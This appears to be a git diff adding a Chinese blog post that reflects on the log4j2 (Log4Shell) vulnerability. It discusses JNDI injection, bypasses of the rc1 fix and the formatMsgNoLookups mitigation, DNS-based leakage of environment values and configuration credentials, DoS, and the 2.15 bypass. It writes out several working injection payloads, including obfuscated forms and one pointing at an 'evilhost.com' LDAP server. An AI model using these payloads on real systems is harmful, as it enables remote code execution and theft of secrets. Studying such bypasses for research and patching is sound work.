|
| 1 | +# 闲谈log4j2 |
| 2 | + |
| 3 | +## log4j2爆炸漏洞 |
| 4 | + |
| 5 | +简单的说一下最近这个log4j2漏洞吧,这个漏洞自己也跟了有一段时间了。第一次在学长那听到了这个漏洞,当时只是跟但了jndi注入点并没有发现漏洞的入口,也就是${jndi:ldap://127.0.0.1/exp}.一方面是没有想到这个功能,但是之后感觉官方文档里面说了[文档](https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup),可能是自己语文水平不太好。(有点吃亏。。。 |
| 6 | + |
| 7 | +## 挖掘新问题 |
| 8 | + |
| 9 | +然后就是复现漏洞。挖新的问题。当时第一时间感觉这个东西肯定有问题,第一时间就想到了dos。 |
| 10 | + |
| 11 | + |
| 12 | + |
| 13 | + |
| 14 | +当时因为环境没有配置起就去睡觉了,当时已经是晚上的3点了。 |
| 15 | + |
| 16 | +说一下我当时发现的dos问题大致是因为数组长度我们可以控制造成溢出。第二天中午我大哥就提交了dos漏洞。之后就没有管了。 |
| 17 | + |
| 18 | +## 绕过rc1 |
| 19 | + |
| 20 | +在然后说一下绕过rc1吧这个东西虽然简单但是我调试了一下午,大概是因为对异常没有处理,也就是在catch中没有return,导致程序会继续执行。 |
| 21 | + |
| 22 | + |
| 23 | + |
| 24 | + |
| 25 | +所以绕过思路就直接让new url(name) 抛出异常就欧克。 |
| 26 | + |
| 27 | +tips:和bypass7u21差不多。。。 |
| 28 | + |
| 29 | +## 修复问题 |
| 30 | + |
| 31 | +``` |
| 32 | +今天看陈师傅写的文章,也就是修复log4j的坑。 |
| 33 | +在漏洞报出来的时候修复的方法是: |
| 34 | +
|
| 35 | +1.设置配置文件参数 log4j2.formatMsgNoLookups=true, |
| 36 | +2.vm启动环境参数 -Dlog4j2.formatMsgNolookups=true, |
| 37 | +3,设置系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true |
| 38 | +而这样的修复是打破这个判断 |
| 39 | +``` |
| 40 | + |
| 41 | + |
| 42 | + |
| 43 | + |
| 44 | +认真看该代码其实在下面还有一个入口。 |
| 45 | + |
| 46 | + |
| 47 | + |
| 48 | + |
| 49 | +可以看到判断条件是 **msg instanceof StringBuilderFormattable** |
| 50 | + |
| 51 | +所以可以走第二个入口就绕过了log4j2.formatMsgNoLookups=true的判断 |
| 52 | + |
| 53 | +```java |
| 54 | +log.printf(Level.ERROR,"${jndi:ldap://127.0.0.1:2333}"); |
| 55 | +``` |
| 56 | + |
| 57 | +>https://mp.weixin.qq.com/s?__biz=MzIxNDAyNjQwNg==&mid=2456098698&idx=1&sn=8c66b476cb303bdf413337bc5c92e127&chksm=803c6643b74bef55d1606a424e555ef09e27b8736928acdca027332453c6d9e4d7a11d7e589d&mpshare=1&scene=23&srcid=1215Twk8iymC8x9gXD72dMTK&sharer_sharetime=1639550097318&sharer_shareid=20feca07eb3065d70e5194c2cdd097b3#rd |
| 58 | +> |
| 59 | +>https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg |
| 60 | +
|
| 61 | +## 信息泄露 |
| 62 | + |
| 63 | +信息泄露这个问题我在漏洞刚刚出来的那天晚上就想到了,只是对比rce,信息泄露就微不足道。因为log4j2支持很多协议 sys等等可以看到env等等这些的信息,然后通过dns带出来。 |
| 64 | + |
| 65 | +不过值得说一下其中有一个思路通过ResourceBundleLookup类去获得读取项目中后缀为properties的配置文件,其中就可能有username/password。当时我是看到了只是不知道这个方法是干啥子的也没有去百度。。。哭死了。 |
| 66 | + |
| 67 | +https://mp.weixin.qq.com/s?__biz=Mzg4OTExMjE2Mw==&mid=2247483945&idx=1&sn=b15b68d95da83bb20f1b3496396f823a&chksm=cff19125f88618338373a32f98be3d2a9497b464d6531658c2aa96f4872c23eed294441917b5&mpshare=1&scene=23&srcid=1211aS0Tghr1agBnBRlwwGTw&sharer_sharetime=1639232420884&sharer_shareid=33a823b10ae99f33a60db621d83241cb#rd |
| 68 | + |
| 69 | +https://www.cnblogs.com/jona-test/p/11399218.html |
| 70 | + |
| 71 | +## bypass |
| 72 | + |
| 73 | +这个东西太多了,在tw一看就很多很多。一方面是因为一些协议可以返回输入的值比如:lower data |
| 74 | + |
| 75 | +还有一个bypass思路是因为执行解析log4j2中的${}问题。简单的说也是将${::-x}解析成x |
| 76 | + |
| 77 | +``` |
| 78 | +${jn${::-d}i:ldap://127.0.0.1:8880/} |
| 79 | +``` |
| 80 | + |
| 81 | +## cve-dos |
| 82 | + |
| 83 | +大哥成功获得apache的cve。https://xz.aliyun.com/t/10670 |
| 84 | + |
| 85 | +简单的看了一下发现里面的思路和我不一样,大哥是想到了网络连接,也就可以存在一个网络超时的问题,而且log4j2支持递归解析。。所以就让他一直解析网络超时的ip...造成dos. |
| 86 | + |
| 87 | +在这个cve通报中发现存在rce?简单的看了一下,我的理解是因为配置文件配置的这一次解析问题,如下配置中就有$${}这样。 |
| 88 | + |
| 89 | +``` |
| 90 | +<Appenders> |
| 91 | + <Console name="STDOUT" target="SYSTEM_OUT"> |
| 92 | + <PatternLayout> |
| 93 | + <pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern> |
| 94 | + </PatternLayout> |
| 95 | + </Console> |
| 96 | +</Appenders> |
| 97 | +``` |
| 98 | + |
| 99 | +而其中里面了ctx协议ContextMapLookup类,简单的说大概就是将我们解析的东西放到map里面然后在取出来。取出来之后在解析${xxxx}就造成了rce问题/dos问题。 |
| 100 | + |
| 101 | +## bypass 2.15 |
| 102 | + |
| 103 | +昨天在tw上看到了bypass 2.15版本,这个东西还没有具体去复现。不过看了一下exp大致懂了。。 |
| 104 | + |
| 105 | +``` |
| 106 | +${jndi:ldap://127.0.0.1#evilhost.com:1389/exp} |
| 107 | +``` |
| 108 | + |
| 109 | +不过环境要求比较严格而且真实环境的rce可能比较可能。。。 |
| 110 | + |
| 111 | +## 总结一下 |
| 112 | + |
| 113 | +主要是自己的问题, |
| 114 | + |
| 115 | +第一点是读文档的习惯少导致不理解其中的意思失去第一时间拥有exp |
| 116 | + |
| 117 | +第二点是自己没有考虑到dos中的网络连接超时问题。 |
| 118 | + |
| 119 | +第三点是自己发现了ResourceBundleLookup类却不知道其意思导致失去新思路的发现。 |
| 120 | + |
| 121 | +(如果官方在删除lookup功能我相信还会有更多的漏洞。。。。。。。。 |
0 commit comments